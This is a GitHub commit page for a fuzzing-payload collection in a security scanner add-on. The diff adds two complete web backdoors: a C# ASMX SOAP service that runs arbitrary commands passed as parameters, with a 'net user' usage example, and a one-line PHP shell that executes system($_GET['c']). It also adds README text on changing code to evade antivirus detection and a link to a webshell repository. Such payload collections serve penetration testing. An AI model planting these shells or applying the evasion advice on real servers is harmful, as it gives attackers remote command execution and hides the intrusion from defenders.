Skip to content

Commit 3b260f9

Browse files
committed
Update from upstream
Signed-off-by: kingthorin <kingthorin@users.noreply.github.com>
1 parent 6803f33 commit 3b260f9

File tree

5 files changed

+97
-0
lines changed

5 files changed

+97
-0
lines changed

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
77
### Changed
88
- Do not set the background colour of the help page.
99
- Migrated 'attack' directory and components from main FuzzDB add-on, due to anti-virus considerations (Issue 5972).
10+
- Updated from upstream.
1011

1112
## [2] - 2020-01-30
1213
### Added

src/main/zapHomeFiles/fuzzers/fuzzdb/attack/all-attacks/all-attacks-unix.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
12
!
23
!'
34
!@#$%%^#$%#$@#$%$$@#$%^^**(()

src/main/zapHomeFiles/fuzzers/fuzzdb/web-backdoors/README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@ Web backdoors from the wild, collected during incident response, submitted, and
33
Antivirus/antimalware bypass:
44
Most antivirus/antimalware/waf/ids/etc will flag on these immediately, deleting a payload that otherwise could have been successfully uploaded. Basic evasion techniques are likely to work. Try modifying the code so that it's different enough to not trigger pattern-based signatures. Examples - delete comments, replace function names, replace variable names.
55

6+
This repo has many more: https://github.com/xl7dev/WebShell
7+
68
----------------------------------------
79

810
Laudanum-1.0 files credits:
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
<%--
2+
3+
Usage:
4+
5+
POST /test.asmx HTTP/1.1
6+
Host: example.com
7+
Content-Type: text/xml; charset=utf-8
8+
Content-Length: 363
9+
SOAPAction: "http://tempuri.org/Test"
10+
11+
<?xml version="1.0" encoding="utf-8"?>
12+
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
13+
<soap:Body>
14+
<Test xmlns="http://tempuri.org/">
15+
<Z1>cmd.exe</Z1>
16+
<Z2>/c net user</Z2>
17+
</Test>
18+
</soap:Body>
19+
</soap:Envelope>
20+
21+
--%>
22+
23+
<%@ WebService Language="C#" Class="Service" %>
24+
using System;
25+
using System.Web;
26+
using System.IO;
27+
using System.Net;
28+
using System.Text;
29+
using System.Data;
30+
using System.Data.SqlClient;
31+
using System.Collections.Generic;
32+
using System.Diagnostics;
33+
using System.Web.SessionState;
34+
using System.Web.Services;
35+
using System.Xml;
36+
using System.Web.Services.Protocols;
37+
38+
[WebService(Namespace = "http://www.payloads.online/")]
39+
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
40+
41+
public class New_Process :Process
42+
{
43+
public New_Process(string s)
44+
{
45+
46+
}
47+
48+
}
49+
50+
51+
public class Service : System.Web.Services.WebService
52+
{
53+
public Service()
54+
{
55+
56+
}
57+
58+
[WebMethod]
59+
public string Test(string Z1,string Z2)
60+
{
61+
String R;
62+
63+
ProcessStartInfo c = new ProcessStartInfo(Z1,Z2);
64+
Process e = new New_Process("something");
65+
StreamReader OT, ER;
66+
c.UseShellExecute = false;
67+
c.RedirectStandardOutput = true;
68+
c.RedirectStandardError = true;
69+
e.StartInfo = c;
70+
71+
e.Start();
72+
OT = e.StandardOutput;
73+
ER = e.StandardError;
74+
e.Close();
75+
R = OT.ReadToEnd() + ER.ReadToEnd();
76+
HttpContext.Current.Response.Clear();
77+
HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
78+
HttpContext.Current.Response.Write("<data>");
79+
HttpContext.Current.Response.Write("<![CDATA[");
80+
HttpContext.Current.Response.Write("\x2D\x3E\x7C");
81+
HttpContext.Current.Response.Write(R);
82+
HttpContext.Current.Response.Write("\x7C\x3C\x2D");
83+
HttpContext.Current.Response.Write("]]>");
84+
HttpContext.Current.Response.Write("</data>");
85+
HttpContext.Current.Response.End();
86+
return R;
87+
}
88+
}
Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<?php
2+
if($_GET['c']) {
3+
system($_GET['c']);
4+
}
5+
?>

0 commit comments

Comments
 (0)